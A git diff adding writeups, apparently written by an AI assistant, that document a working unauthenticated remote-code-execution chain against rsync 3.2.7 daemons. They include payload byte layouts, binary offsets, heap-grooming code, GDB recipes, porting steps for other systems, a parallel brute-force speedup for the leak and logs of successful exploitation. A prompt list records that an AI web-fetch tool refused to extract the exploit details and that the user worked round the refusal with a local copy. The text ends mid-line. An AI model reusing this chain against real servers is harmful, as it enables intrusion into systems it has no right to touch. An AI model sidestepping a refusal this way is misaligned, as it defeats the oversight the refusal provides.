Protocol desync — "File-list index 49" + +**Symptom**: Server logs `File-list index 49 not in -1 - 2 +(read_ndx_and_attrs) [sender]`. + +**Root cause (initially suspected)**: Outbound multiplexing mismatch. +We initially set `out_multiplexed = False` thinking the server didn't +demux inbound data. + +**Actual root cause**: The ndx=49 error came from `read_final_goodbye` +(the SECOND ndx read), not the first. The first ndx=1 was read +correctly. The issue was that the heap overflow wasn't working, so the +server processed the file normally and then tried to read the next ndx +from leftover data in the socket. + +**How diagnosed**: GDB `break flist_for_ndx` with multiple continues: +``` +call 1: ndx=1 ← from send_files (correct) +call 2: ndx=49 ← from read_final_goodbye (leftover data) +``` + +**Key finding**: For protocol >= 30, the rsync server UNCONDITIONALLY +sets `need_messages_from_generator = 1` in `compat.c:776`, which +enables inbound demultiplexing. The client MUST send multiplexed data +(`out_multiplexed = True`). We confirmed this with GDB: +``` +(gdb) break recv_filter_list +(gdb) printf "need_msgs=%d in_multiplexed=%d\n", need_messages_from_generator, iobuf.in_multiplexed +need_msgs=1 in_multiplexed=1 +``` + +### Bug 2: Heap grooming — extra chunk in the gap + +**Symptom**: `ctx_evp` watchpoint never triggered. The overflow wasn't +reaching `sum_struct`. + +**Root cause**: The Phrack PoC sends TWO filters: +```go +filter := "+ " + strings.Repeat("Z", count*sumBufStructSize - 1) // 200B pattern +client.WriteRawInt(len(filter) + 1); client.WriteLine(filter) +filter = "+ a" // tiny pattern +client.WriteRawInt(len(filter) + 1); client.WriteLine(filter) +client.WriteRawInt(len(clr) + 1); client.WriteLine(clr) // "!" clears all +``` + +On Debian 12 (glibc 2.36), `malloc(2)` for pattern "a" gives an 8-byte +entry that goes to a tiny tcache bin. On Ubuntu 22.04 (glibc 2.35), +`malloc(2)` gives a **32-byte chunk** — same bin as the filter_rule +struct (48B). This extra chunk lands between `sum_buf[]` and +`sum_struct`, creating a **56-byte gap** instead of 8. + +**How diagnosed**: GDB breakpoint at `sender.c:98` (after allocations): +``` +With 2 filters: s=0x590 sums=0x490 diff=56 ← TOO FAR +With 1 filter: s=0x560 sums=0x490 diff=8 ← CORRECT +``` + +**Fix**: Send only ONE filter (the large one). The tcache state from +the defragmentation provides the right placement without the second +filter. + +```python +# WRONG (glibc 2.35): +filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt) +filt2 = '+ a'; rc.write_raw_int(len(filt2)+1); rc.write_line(filt2) +rc.write_raw_int(2); rc.write_line('!') + +# CORRECT (glibc 2.35): +filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt) +rc.write_raw_int(2); rc.write_line('!') +``` + +**Verification**: `malloc_usable_size` test: +```c +malloc( 2) -> usable=24 chunk_size=32 // same bin as 32B requests +malloc(32) -> usable=40 chunk_size=48 // sum_struct lands here +malloc(40) -> usable=40 chunk_size=48 // filter_rule lands here +``` + +### Bug 3: xfer_sum_nni clobbered — trigger path bypassed + +**Symptom**: `ctx_evp` WAS correctly overwritten (GDB watchpoint +confirmed `ctx_evp = fake_ctx_addr`). But `shell_exec` breakpoint +never hit. Server crashed with `SIGABRT: free(): invalid pointer`. + +**Root cause**: Our 289-byte payload writes contiguously from `&ctx_evp` +through `&ctx_evp + 288`, overwriting ALL globals in that range. The +critical global `xfer_sum_nni` at `ctx_evp + 0x30` was zeroed. + +When `match_sums` calls `sum_init(xfer_sum_nni, seed)`, it receives +`nni = NULL`. sum_init handles NULL by calling `parse_csum_name(NULL,0)` +which internally calls `malloc()`. Since the heap was corrupted by our +overflow, this malloc triggers `free(): invalid pointer` → SIGABRT. +The EVP trigger path is never reached. + +**How diagnosed**: GDB break on `sum_init`: +``` +sum_init(nni=0x0, seed=1337) ← xfer_sum_nni was zeroed! +``` + +Then mapping the .bss layout around ctx_evp: +```bash +nm rsync | awk '/09dc/ || /09dd/' +``` +``` +0x09dc28 B ctx_evp +0x000 ← we write here +0x09dc38 B xfer_sum_evp_md +0x010 +0x09dc58 B xfer_sum_nni +0x030 ← ZEROED by our payload! +0x09dc60 b prior_result.0 +0x038 +``` + +**Fix**: Preserve `xfer_sum_nni` in the payload at offset 0x30: +```python +XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items +xfer_sum_nni = base + XFER_SUM_NNI_OFFSET +struct.pack_into(' +#include +#include +int main() { + for (int sz = 1; sz <= 48; sz++) { + void *p = malloc(sz); + printf("malloc(%2d) -> usable=%zu chunk=%zu\n", + sz, malloc_usable_size(p), malloc_usable_size(p)+8); + free(p); + } +} +``` + +**Step 2**: Set breakpoint at `sender.c:98` and check the gap: +``` +(gdb) break sender.c:98 +(gdb) continue +(gdb) printf "s=%p sums=%p diff=%ld\n", s, s->sums, (long)s - ((long)s->sums + s->count*40) +``` + +If `diff = 8` → grooming is correct. +If `diff > 8` → extra chunks in the gap. Try: + - Removing the second filter + - Adjusting filter pattern sizes + - Adding more filter rules to consume extra tcache entries + +**Step 3**: Check which .bss globals the payload overwrites: +```bash +nm rsync | sort | awk -v base=$(nm rsync | grep ' B ctx_evp$' | cut -d' ' -f1) \ + '{ a=strtonum("0x"$1); b=strtonum("0x"base); if (a>=b && adigest->freectx(ctx->algctx)`. This cleanup path exists in +OpenSSL 3.x when reinitializing a context that already has an `algctx`. + +For OpenSSL 1.1.x, the struct layout and cleanup path differ. You'll +need to reverse-engineer `EVP_DigestInit_ex` in the target's +`libcrypto.so` to find: +- The offset of `digest` in `EVP_MD_CTX` +- The offset of `algctx` in `EVP_MD_CTX` +- The offset of `freectx` in `EVP_MD` +- What conditions trigger the cleanup (flags, etc.) + +### Adapting for non-SHA1 checksums + +If the target server supports xxhash (most stock packages do), Phase 1 +uses xxhash64 (8-byte digest) for a faster and more reliable info leak. +If only SHA1/MD5 are available, the info leak window starts at offset 20 +instead of 8, requiring binary-specific analysis to locate a pointer +in that range. + +Phase 2 uses SHA1 as the checksum for the overflow connection. The +`XFER_SUM_NNI_OFFSET` must point to whichever checksum entry is +negotiated. Use GDB to verify: +``` +(gdb) break sender.c:98 +(gdb) printf "xfer_sum_nni->name=%s offset=0x%lx\n", xfer_sum_nni->name, (long)xfer_sum_nni - base +``` + +--- + +## 5. Debugging Methodology + +### Essential GDB techniques + +**Attach to daemon with fork following**: +```bash +DPID=$(pgrep -x rsync) +gdb -q -p $DPID \ + -ex "set follow-fork-mode child" \ + -ex "set detach-on-fork off" \ + -ex "set pagination off" +``` + +Ensure `ptrace_scope` allows attaching: +```bash +echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope +``` + +**Key breakpoints**: +``` +break sender.c:98 # after sum_buf + sum_struct allocated +break shell_exec # RCE trigger +watch *(long*)&ctx_evp # detect ctx_evp overwrite +break sum_init # check nni argument +break flist_for_ndx # track ndx values +``` + +**Check heap layout**: +``` +(gdb) break sender.c:98 +(gdb) printf "s=%p sums=%p gap=%ld\n", s, s->sums, (long)s - ((long)s->sums + 200) +(gdb) x/16gx (char*)s->sums + 200 - 8 +``` + +**Check .bss state after overflow**: +``` +(gdb) watch *(long*)&ctx_evp +(gdb) continue +# When hit: +(gdb) x/40gx &ctx_evp +(gdb) printf "xfer_sum_nni=%p\n", xfer_sum_nni +``` + +### Daemon log messages and their meaning + +| Log message | Meaning | +|------------|---------| +| `File-list index N not in -1 - M` | Server read ndx=N but file list only has M entries. Usually means overflow didn't work (leftover data read as next ndx). | +| `unexpected tag -N` | Client sent non-multiplexed data but server expects multiplexed, or vice versa. Check `out_multiplexed` setting. | +| `connection unexpectedly closed` | Normal when exploit closes connection after payload delivery. | +| No error, just `building file list` | Server likely crashed silently (SIGSEGV/SIGABRT in child). Check with GDB. | + +### Wire capture technique + +Wrap the socket to log all sends after protocol setup: +```python +class LogSocket: + def __init__(self, sock): + self._sock = sock + self.log = [] + def sendall(self, data): + self.log.append(bytes(data)) + return self._sock.sendall(data) + def __getattr__(self, name): + return getattr(self._sock, name) + +rc.sock = LogSocket(rc.sock) +``` + +Parse MSG_DATA headers: +```python +raw_tag = struct.unpack('> 24) - 7 # 0 = MSG_DATA +msg_len = raw_tag & 0xFFFFFF +``` + +--- + +## 6. Successful Exploit Run + +``` +$ python3 /tmp/test_phase2.py +daemon PID=3797045, base=0x6085e935a000 + +[*] Phase 2: heap overflow → RCE + shell_exec = 0x6085e9385970 + ctx_evp = 0x6085e93f7c28 + payload = 289 bytes at &ctx_evp + fake_ctx = 0x6085e93f7c30 (+8) + fake_evpmd = 0x6085e93f7c78 (+80) + cmd_addr = 0x6085e93f7d30 (+264) + target ndx=1 file=bar.txt + sending payload (289 bytes) to &ctx_evp... + overflow complete, consuming server output... + server connection ended: connection closed +[+] Payload delivered — check if command executed. + +*** RCE SUCCEEDED! *** +``` + +``` +$ cat /tmp/rce_proof2.txt +uid=1000(x) gid=1000(x) groups=1000(x),4(adm),24(cdrom),... +``` + +--- + +## 7. User Prompts That Guided This Work + +Every user prompt from the session, in chronological order. These shaped +every major pivot in the development process. + +1. *Initial request* — Asked to exploit rsync CVE-2024-12084 (heap + overflow) + CVE-2024-12085 (info leak) into a full RCE chain against + rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet" + article. + +2. **"why are you modifying the rsync source?"** — I had been adding + `fprintf` debug statements to sender.c and recompiling. The user + correctly pointed out this shifts binary offsets (ctx_evp, shell_exec, + etc.) and invalidates the exploit constants. + +3. **"you should be using gdb .."** — Redirected from printf-debugging + to GDB. Led to the attach-to-daemon workflow with + `set follow-fork-mode child` that proved essential for every + subsequent debugging step. + +4. **"what sandbox"** — I had confused /tmp file isolation with + sandboxing. Clarified the environment. + +5. **"if you need root the password is x ?"** — Provided root credentials + to fix `ptrace_scope` (was set to 1, blocking GDB attach). We ran + `echo 0 > /proc/sys/kernel/yama/ptrace_scope`. + +6. **"are you following the phrack exploitation? it outlines it pretty + clear"** — Critical redirect. I had been inventing a multi-entry + layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX + field offsets. The Phrack one-shot contiguous write approach is far + simpler and more reliable. + +7. **"read the phrack exploit - they use the info leak + heap overflow + to get a reliable exploit."** — Prompted me to actually read the + full Phrack article rather than working from partial understanding. + +8. **"the writeup is in /tmp/rsync.txt"** — Pointed to the local copy of + the Phrack article. Saved time vs trying to web-fetch it (the + WebFetch AI model refused to extract exploit details). + +9. **"if you need to setup a qemu with the exact debian + rsync used + that is fine"** — Offered to set up the exact Debian 12 target + environment. We didn't end up needing this because we adapted the + exploit to our Ubuntu 22.04 system, but this would be the fastest + path for exact reproduction of the Phrack PoC. + +10. **"perfect it seems to work!! can you document your whole process + + my prompts in a writeup! include how to get it working on other + installations etc and debugging instructions."** — Led to this + writeup document. + +11. **"now that you have a good grasp of this vulnerability and + exploitation can you audit the latest rsync for variants that may + allow exploitation"** — Led to the security audit of rsync 3.4.1 + documented in the appendix. + +12. **"the WRITEUP didnt include all of my prompts"** — This correction, + leading to this expanded prompt section. + +--- + +## 8. File Inventory + +| File | Description | +|------|-------------| +| `exploit.py` | Combined Phase 1 (info leak) + Phase 2 (heap overflow → RCE) | +| `rsync_lib.py` | Python rsync protocol library | +| `writeup.md` | This document | + +### Prerequisites + +```bash +pip install xxhash # needed for Phase 1 info leak +make # builds libfnamecmp.so for file list sorting +``` + +## 9. References + +- Phrack 72, Article 11: "Desync the Planet - Rsync RCE" by Simon + Scannell, Pedro Gallegos, Jasiel Spelman + (https://phrack.org/issues/72/11_md) +- CVE-2024-12084: Heap Buffer Overflow in Checksum Parsing +- CVE-2024-12085: Info Leak via Uninitialized Stack Value +- rsync 3.2.7 source: https://download.samba.org/pub/rsync/src/ diff --git a/MADBugs/rsync/writeup2.md b/MADBugs/rsync/writeup2.md new file mode 100644 index 0000000..10aded3 --- /dev/null +++ b/MADBugs/rsync/writeup2.md @@ -0,0 +1,1022 @@ +# Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE Writeup + +Based on the Phrack 72 article "Desync the Planet" by Simon Scannell, +Pedro Gallegos, and Jasiel Spelman, this documents the full process of +getting the exploit chain working on our target system, including all +the debugging steps, dead ends, and system-specific adaptations. + +--- + +## 0. Environment + +### Original target (x86-64) + +| Component | Detail | +|------------------|--------| +| Target binary | rsync 3.2.7, compiled from upstream source | +| OS | Ubuntu 22.04.3 LTS, kernel 6.8 | +| glibc | 2.35-0ubuntu3.13 | +| OpenSSL | 3.0.2 | +| Arch | x86-64 | +| Protections | Full ASLR, PIE, NX, Full RELRO, stack canaries | +| MAX_DIGEST_LEN | 64 (SHA512_DIGEST_LENGTH) | +| SUM_LENGTH | 16 (fixed in `struct sum_buf`) | +| Overflow window | 64 - 16 = **48 bytes** per sum_buf entry | + +### ARM64 port target + +| Component | Detail | +|------------------|--------| +| Target binary | rsync 3.2.7, compiled from upstream source | +| OS | Debian 12 (bookworm), kernel 6.10.14-linuxkit (container) | +| glibc | 2.36-9+deb12u13 | +| OpenSSL | 3.0.18-1~deb12u2 | +| Arch | **aarch64** | +| Protections | Full ASLR, PIE, NX, Full RELRO, stack canaries | +| MAX_DIGEST_LEN | 64 (identical) | +| SUM_LENGTH | 16 (identical) | +| Debugging | **No GDB, no strace, no root** — see §3a for substitutes | + +Build note: container had `libxxhash0` runtime but no dev headers. +Worked around by fetching `xxhash.h` from upstream (v0.8.1 to match +the .so) into `/tmp/local/include` and symlinking the runtime .so as +`libxxhash.so` for the linker: + +```bash +mkdir -p /tmp/local/include /tmp/local/lib +wget -O /tmp/local/include/xxhash.h \ + https://raw.githubusercontent.com/Cyan4973/xxHash/v0.8.1/xxhash.h +ln -s /usr/lib/aarch64-linux-gnu/libxxhash.so.0 /tmp/local/lib/libxxhash.so +cd /tmp/rsync-3.2.7 +CPPFLAGS="-I/tmp/local/include" LDFLAGS="-L/tmp/local/lib" \ + ./configure --enable-xxhash --disable-lz4 --disable-zstd --disable-acl-support +make -j4 +``` + +The system rsync (`3.2.7-0ubuntu0.22.04.4`) has all CVEs backported. +We built upstream 3.2.7 from source to get a vulnerable binary at +`/tmp/rsync-3.2.7/rsync`. + +### Building rsync 3.2.7 + +```bash +cd /tmp +wget https://download.samba.org/pub/rsync/src/rsync-3.2.7.tar.gz +tar xzf rsync-3.2.7.tar.gz +cd rsync-3.2.7 +./configure --with-openssl --disable-xxhash # or --enable-xxhash +make +``` + +### Daemon setup + +```bash +mkdir -p /tmp/rsync_test_module +echo "hello world" > /tmp/rsync_test_module/foo.txt +echo "test data" > /tmp/rsync_test_module/bar.txt + +cat > /tmp/rsyncd_test.conf << 'EOF' +log file = /tmp/rsync_daemon.log +[files] + path = /tmp/rsync_test_module + read only = true + use chroot = false +EOF + +/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 +``` + +Confirm vulnerability via banner: +``` +$ echo "" | nc 127.0.0.1 12000 +@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4 +``` + +Protocol 31 + SHA512 in the auth list confirms MAX_DIGEST_LEN = 64. + +### Key binary offsets + +Extract with `nm`: +```bash +nm /tmp/rsync-3.2.7/rsync | grep -E " (T|B) (shell_exec|ctx_evp|set_compression)$" +``` + +For our build: +``` +CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599 (leaked via info leak) +SHELL_EXEC_OFFSET = 0x2b970 # shell_exec() — calls system(cmd) +CTX_EVP_OFFSET = 0x9dc28 # global EVP_MD_CTX *ctx_evp in .bss +XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items +``` + +These change with every recompilation. You MUST extract them for your +specific binary. + +--- + +## 1. Vulnerability Overview + +### CVE-2024-12085 — Info Leak (ASLR Bypass) + +In `match.c:hash_search()`, a stack buffer `sum2[MAX_DIGEST_LEN]` (64 bytes) +is only partially written by the digest algorithm. The remaining bytes contain +**uninitialized stack data**. An attacker controls `s2length` (up to 64) and +uses the server's match/no-match response as a 1-byte-at-a-time oracle to +leak up to 56 bytes of stack contents. + +With xxhash64 (8-byte digest), offset `sum2+8` on the Phrack target contained +a `.text` pointer — one round of leaking gives the full PIE base. + +### CVE-2024-12084 — Heap Buffer Overflow + +In `sender.c:receive_sums()`, the server reads `s2length` bytes into +`sum2[16]` — overflowing by up to 48 bytes per `sum_buf` entry. By +overflowing the last entry into an adjacent `sum_struct`, the attacker +corrupts `s->sums` (WHERE to write), `s->count` (how many entries), and +`s->s2length` (how many bytes per write), creating an arbitrary +write-what-where primitive. + +--- + +## 2. Exploitation Strategy (Phrack "One-Shot" Approach) + +### High-level flow + +``` +┌─────────────┐ ┌─────────────────┐ ┌──────────────────┐ +│ Info Leak │───>│ Heap Overflow │───>│ RCE Trigger │ +│ (Phase 1) │ │ (Phase 2) │ │ │ +│ │ │ │ │ sum_init() │ +│ Leak .text │ │ Corrupt sums │ │ → EVP_Digest... │ +│ → PIE base │ │ → write to .bss│ │ → freectx() │ +│ │ │ → plant fake │ │ → shell_exec() │ +│ │ │ EVP structs │ │ → system(cmd) │ +└─────────────┘ └─────────────────┘ └──────────────────┘ +``` + +### Phase 2 detail: one-shot .bss write + +After the info leak provides the binary base, Phase 2: + +1. **Heap groom**: Exhaust tcache bins, create a hole via filter rules + so `sum_buf[5]` and `sum_struct` are adjacent on the heap. + +2. **Overflow**: Send `count=5` entries with `s2length=64`. Each entry + overflows 48 bytes. The last entry corrupts `sum_struct`: + - `s->count` = 6 (adds one extra iteration) + - `s->sums` = `&ctx_evp - 222` (redirects array to .bss) + - `s->s2length` = 289 (size of our payload) + +3. **Extra entry**: The 6th iteration reads `sum1` (4B) and `sum2` + (289B) directly to `&ctx_evp`, writing: + +``` +Offset Content .bss global +────── ───────────────────────────────── ────────────────── +0x000 fake_ctx_addr (ctx_evp+8) ctx_evp (overwritten) +0x008 ┌─ fake EVP_MD_CTX (72 bytes) ─┐ + │ +0x08: digest → fake EVP_MD │ file_sum_evp_md + │ +0x18: flags = 0x400 │ file_sum_nni (clobbered) + │ +0x30: xfer_sum_nni (PRESERVED) xfer_sum_nni ← CRITICAL + │ +0x38: algctx → cmd string │ + └──────────────────────────────┘ +0x050 ┌─ fake EVP_MD (~184 bytes) ───┐ + │ +0xb0: freectx = shell_exec │ + └──────────────────────────────┘ +0x108 "touch /tmp/rce_proof.txt\0" sumresidue etc +``` + +4. **Trigger**: After `receive_sums`, the server enters `match_sums` → + `sum_init(xfer_sum_nni, seed)` → `EVP_DigestInit_ex(ctx_evp, ...)`. + Inside OpenSSL: + ``` + ctx->algctx != NULL → ctx->digest->freectx(ctx->algctx) + → shell_exec(cmd_string) + → system("touch /tmp/rce_proof.txt") + ``` + +### Overflow byte layout (64 bytes from last sum2) + +``` +Byte Offset Content Target +──── ────── ─────── ────── +0-15 sum2 checksum data sum_buf[4].sum2 (in-bounds) +16-17 padding don't care struct padding +18-25 chunk hdr 0x31 (48B|PREV_INUSE) sum_struct chunk size field +26-33 flength 0 sum_struct.flength +34-41 sums &ctx_evp - 222 sum_struct.sums (redirect) +42-45 count 6 (original + 1) sum_struct.count +46-49 blength 1337 sum_struct.blength +50-53 remainder 0 sum_struct.remainder +54-57 s2length 289 (payload size) sum_struct.s2length +58-63 padding don't care past sum_struct +``` + +--- + +## 3. Bugs Found and Fixed During Development + +This section documents every issue encountered, how it was diagnosed, +and the fix. This is the most valuable part for anyone porting the +exploit to a new target. + +### Bug 1: Protocol desync — "File-list index 49" + +**Symptom**: Server logs `File-list index 49 not in -1 - 2 +(read_ndx_and_attrs) [sender]`. + +**Root cause (initially suspected)**: Outbound multiplexing mismatch. +We initially set `out_multiplexed = False` thinking the server didn't +demux inbound data. + +**Actual root cause**: The ndx=49 error came from `read_final_goodbye` +(the SECOND ndx read), not the first. The first ndx=1 was read +correctly. The issue was that the heap overflow wasn't working, so the +server processed the file normally and then tried to read the next ndx +from leftover data in the socket. + +**How diagnosed**: GDB `break flist_for_ndx` with multiple continues: +``` +call 1: ndx=1 ← from send_files (correct) +call 2: ndx=49 ← from read_final_goodbye (leftover data) +``` + +**Key finding**: For protocol >= 30, the rsync server UNCONDITIONALLY +sets `need_messages_from_generator = 1` in `compat.c:776`, which +enables inbound demultiplexing. The client MUST send multiplexed data +(`out_multiplexed = True`). We confirmed this with GDB: +``` +(gdb) break recv_filter_list +(gdb) printf "need_msgs=%d in_multiplexed=%d\n", need_messages_from_generator, iobuf.in_multiplexed +need_msgs=1 in_multiplexed=1 +``` + +### Bug 2: Heap grooming — extra chunk in the gap + +**Symptom**: `ctx_evp` watchpoint never triggered. The overflow wasn't +reaching `sum_struct`. + +**Root cause**: The Phrack PoC sends TWO filters: +```go +filter := "+ " + strings.Repeat("Z", count*sumBufStructSize - 1) // 200B pattern +client.WriteRawInt(len(filter) + 1); client.WriteLine(filter) +filter = "+ a" // tiny pattern +client.WriteRawInt(len(filter) + 1); client.WriteLine(filter) +client.WriteRawInt(len(clr) + 1); client.WriteLine(clr) // "!" clears all +``` + +On Debian 12 (glibc 2.36), `malloc(2)` for pattern "a" gives an 8-byte +entry that goes to a tiny tcache bin. On Ubuntu 22.04 (glibc 2.35), +`malloc(2)` gives a **32-byte chunk** — same bin as the filter_rule +struct (48B). This extra chunk lands between `sum_buf[]` and +`sum_struct`, creating a **56-byte gap** instead of 8. + +**How diagnosed**: GDB breakpoint at `sender.c:98` (after allocations): +``` +With 2 filters: s=0x590 sums=0x490 diff=56 ← TOO FAR +With 1 filter: s=0x560 sums=0x490 diff=8 ← CORRECT +``` + +**Fix**: Send only ONE filter (the large one). The tcache state from +the defragmentation provides the right placement without the second +filter. + +```python +# WRONG (glibc 2.35): +filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt) +filt2 = '+ a'; rc.write_raw_int(len(filt2)+1); rc.write_line(filt2) +rc.write_raw_int(2); rc.write_line('!') + +# CORRECT (glibc 2.35): +filt = '+ ' + 'Z' * 199; rc.write_raw_int(len(filt)+1); rc.write_line(filt) +rc.write_raw_int(2); rc.write_line('!') +``` + +**Verification**: `malloc_usable_size` test: +```c +malloc( 2) -> usable=24 chunk_size=32 // same bin as 32B requests +malloc(32) -> usable=40 chunk_size=48 // sum_struct lands here +malloc(40) -> usable=40 chunk_size=48 // filter_rule lands here +``` + +### Bug 3: xfer_sum_nni clobbered — trigger path bypassed + +**Symptom**: `ctx_evp` WAS correctly overwritten (GDB watchpoint +confirmed `ctx_evp = fake_ctx_addr`). But `shell_exec` breakpoint +never hit. Server crashed with `SIGABRT: free(): invalid pointer`. + +**Root cause**: Our 289-byte payload writes contiguously from `&ctx_evp` +through `&ctx_evp + 288`, overwriting ALL globals in that range. The +critical global `xfer_sum_nni` at `ctx_evp + 0x30` was zeroed. + +When `match_sums` calls `sum_init(xfer_sum_nni, seed)`, it receives +`nni = NULL`. sum_init handles NULL by calling `parse_csum_name(NULL,0)` +which internally calls `malloc()`. Since the heap was corrupted by our +overflow, this malloc triggers `free(): invalid pointer` → SIGABRT. +The EVP trigger path is never reached. + +**How diagnosed**: GDB break on `sum_init`: +``` +sum_init(nni=0x0, seed=1337) ← xfer_sum_nni was zeroed! +``` + +Then mapping the .bss layout around ctx_evp: +```bash +nm rsync | awk '/09dc/ || /09dd/' +``` +``` +0x09dc28 B ctx_evp +0x000 ← we write here +0x09dc38 B xfer_sum_evp_md +0x010 +0x09dc58 B xfer_sum_nni +0x030 ← ZEROED by our payload! +0x09dc60 b prior_result.0 +0x038 +``` + +**Fix**: Preserve `xfer_sum_nni` in the payload at offset 0x30: +```python +XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items +xfer_sum_nni = base + XFER_SUM_NNI_OFFSET +struct.pack_into(' usable=24 chunk=32 # arm64 glibc 2.36 +malloc(32) -> usable=40 chunk=48 +malloc(48) -> usable=56 chunk=64 +``` + +The arm64 glibc has a 16-byte minimum chunk size (vs. 8 on some x86-64 +builds) due to `MALLOC_ALIGNMENT = 2*sizeof(size_t) = 16`. The second +`"+ a"` filter creates an extra 32-byte chunk in the gap, so the +**one-filter** approach is correct here too. Confirmed empirically: +two filters → "File-list index 185" (gap too large), one filter → RCE. + +### Bug A5: rsync_lib.py protocol details (found via socat wire capture) + +Building the protocol library from scratch surfaced five details that +the rsync source doesn't make obvious: + +1. **Daemon args use `\0` terminators, not `\n`.** A capture of the + real client showed `--server\0--sender\0-rce.LsfxCIvu\0...\0\0`. + Module name and greeting use `\n`, args use `\0`. + +2. **Checksum negotiation: both sides write before reading.** + `negotiate_the_strings` calls `send_negotiate_str` then + `recv_negotiate_str` on BOTH sides. Order on the wire: + compat_flags (S→C), client csum vstring (C→S), server csum vstring + (S→C), checksum_seed (S→C). All on the raw socket — multiplexing + only starts after. + +3. **`write_line` must respect the multiplex state.** Filters are + sent via `write_line` AFTER `io_start_multiplex_in` runs on the + server. A `write_line` that always uses raw socket sends `"+ ZZZ..."` + without a MSG_DATA frame, which the server reads as a multiplex + header → `unexpected tag 83` (`'Z' - MPLEX_BASE`). + +4. **`get_checksum1` uses signed char and `CHAR_OFFSET=0`.** The + "adler32" name is misleading — it's a custom rolling sum that casts + to `schar` (signed). On arm64 where `char` is unsigned by default, + the cast matters for any byte ≥ 0x80. Wrong → s1 mismatch → no + `get_checksum2` call → no leak. + +5. **File list is sorted server-side after sending.** The wire order + is directory-walk order; the ndx the client sends back references + `flist_sort_and_clean`'s output (≈ `strcmp` on path). + +### Working without GDB + +This port was done in a container with no `gdb`, no `strace`, no root. +Tools that filled the gap: + +- **LD_PRELOAD memcmp hook**: dumps the `sum2` buffer (first arg) on + every call from `match_sums`'s address range. `__builtin_return_address(0)` + + `/proc/self/maps` → caller offset. Found the leak target in one shot. + +- **ptrace crash catcher** (200 LOC): `PTRACE_ATTACH` to the rsync + child after the overflow is sent but before the trigger fires. + Catches `SIGSEGV`, dumps `PC`/`LR`/`X0..X3`, then peeks the entire + payload region from `/proc/PID/mem`. The crash `LR` mapped to + libcrypto's `digest->cleanup` indirect call, proving `freectx` had + already returned — i.e. `shell_exec` ran but the command was broken. + +- **ptrace breakpoint on shell_exec**: poked `BRK #0` (`0xd4200000`) + at the function entry, caught the trap, read `X0` (cmd pointer), then + followed `PTRACE_O_TRACEFORK` to confirm `system()`'s fork happened. + This proved the command pointer was correct but the *string* was + truncated at byte 8. + +- **Pattern-payload memory survival test**: filled the entire payload + with `0xCAFE000000000000 | offset`, let it crash on first deref, + dumped the region. Every 8-byte slot that survived showed its own + offset; clobbered slots showed something else. This proved `+0x40` + survives until OpenSSL — the zeroing was *inside* `EVP_DigestInit_ex` + (after `freectx` returned), not before. + +### Speeding up the 24-byte leak + +The naive leak is slow: 24 bytes × ~128 tries average × ~120ms per +connection ≈ 6 minutes. Two stacked optimizations bring this to ~14s. + +**1. Hint table — 18 of 24 bytes are structural constants.** + +arm64 user-space addresses follow a fixed pattern: top 16 bits are +zero (canonical), the next 16 bits identify the region (`0xaaaa` for +ELF mappings, `0xffff` for the stack). The page-offset bits of the +leaked pointer equal the page-offset bits of `LEAK_OFFSET` (since the +binary base is page-aligned). Encode this knowledge: + +```python +hints = { + 8: [0x00], 9: [0x00], 10: [0x00], 11: [0x00], # canonical zeros + 12: [0xaa], 13: [0xaa], 14: [0x00], 15: [0x00], # binary high bytes + 20: [0xff], 21: [0xff], 22: [0x00], 23: [0x00], # stack high bytes + 24: [LEAK_OFFSET & 0xff], # page offset (exact) + 25: [(LEAK_OFFSET >> 8) & 0xff], # next byte (exact: base bits 12-15 are 0) + 28: [0xaa], 29: [0xaa], 30: [0x00], 31: [0x00], # binary high bytes +} +``` + +Hinted bytes hit on the first connection. The ASLR'd middle bytes +(stack pointer bits 0-31, binary base bits 16-31) are the only ones +that need real brute force — about 6 bytes. + +This is robust: `0xab` instead of `0xaa` at byte 12 is possible +(binary loaded above `0xaaab_00000000`), but the hint just costs one +extra connection before falling through to the search. The sample run +below shows exactly that case. + +**2. Parallel fan-out for the random bytes.** + +Each connection is independent and I/O-bound. For bytes with no hint, +dispatch all 256 candidates concurrently and take the first hit: + +```python +pool = ThreadPoolExecutor(max_workers=16) +futures = {pool.submit(probe, prefix, b): b for b in remaining} +for fut in as_completed(futures): + if fut.result() is not None: + for f in futures: f.cancel() # best-effort + break +``` + +The connection *count* goes up (in-flight probes finish even after a +hit) but wall-clock drops ~10×. The daemon happily forks 16 children +in parallel; each runs independently. + +### Successful arm64 run (optimized) + +``` +$ /tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1 +node@acbc495cee13:/workspace$ time python3 exploit.py "rsync://127.0.0.1:12000/files" "id > /tmp/rce_proof.txt" +[*] Phase 1: info leak | file=bar.txt size=15 + sum2[8] = 0x00 (1 total connections) + sum2[9] = 0x00 (2 total connections) + sum2[10] = 0x00 (3 total connections) + sum2[11] = 0x00 (4 total connections) + sum2[12] = 0xab (260 total connections) ← hint 0xaa missed; fell through to search + sum2[13] = 0xaa (261 total connections) + sum2[14] = 0x00 (262 total connections) + sum2[15] = 0x00 (263 total connections) + sum2[16] = 0x00 (519 total connections) ← stack ptr, ASLR'd + sum2[17] = 0x7a (775 total connections) + sum2[18] = 0xde (1031 total connections) + sum2[19] = 0xee (1287 total connections) + sum2[20] = 0xff (1288 total connections) + sum2[21] = 0xff (1289 total connections) + sum2[22] = 0x00 (1290 total connections) + sum2[23] = 0x00 (1291 total connections) + sum2[24] = 0xc4 (1292 total connections) ← LEAK_OFFSET low byte, exact + sum2[25] = 0xae (1293 total connections) + sum2[26] = 0xdc (1549 total connections) ← base bits 16-23, ASLR'd + sum2[27] = 0xd2 (1805 total connections) + sum2[28] = 0xaa (1806 total connections) + sum2[29] = 0xaa (1807 total connections) + sum2[30] = 0x00 (1808 total connections) + sum2[31] = 0x00 (1809 total connections) +[+] Leaked .text ptr : 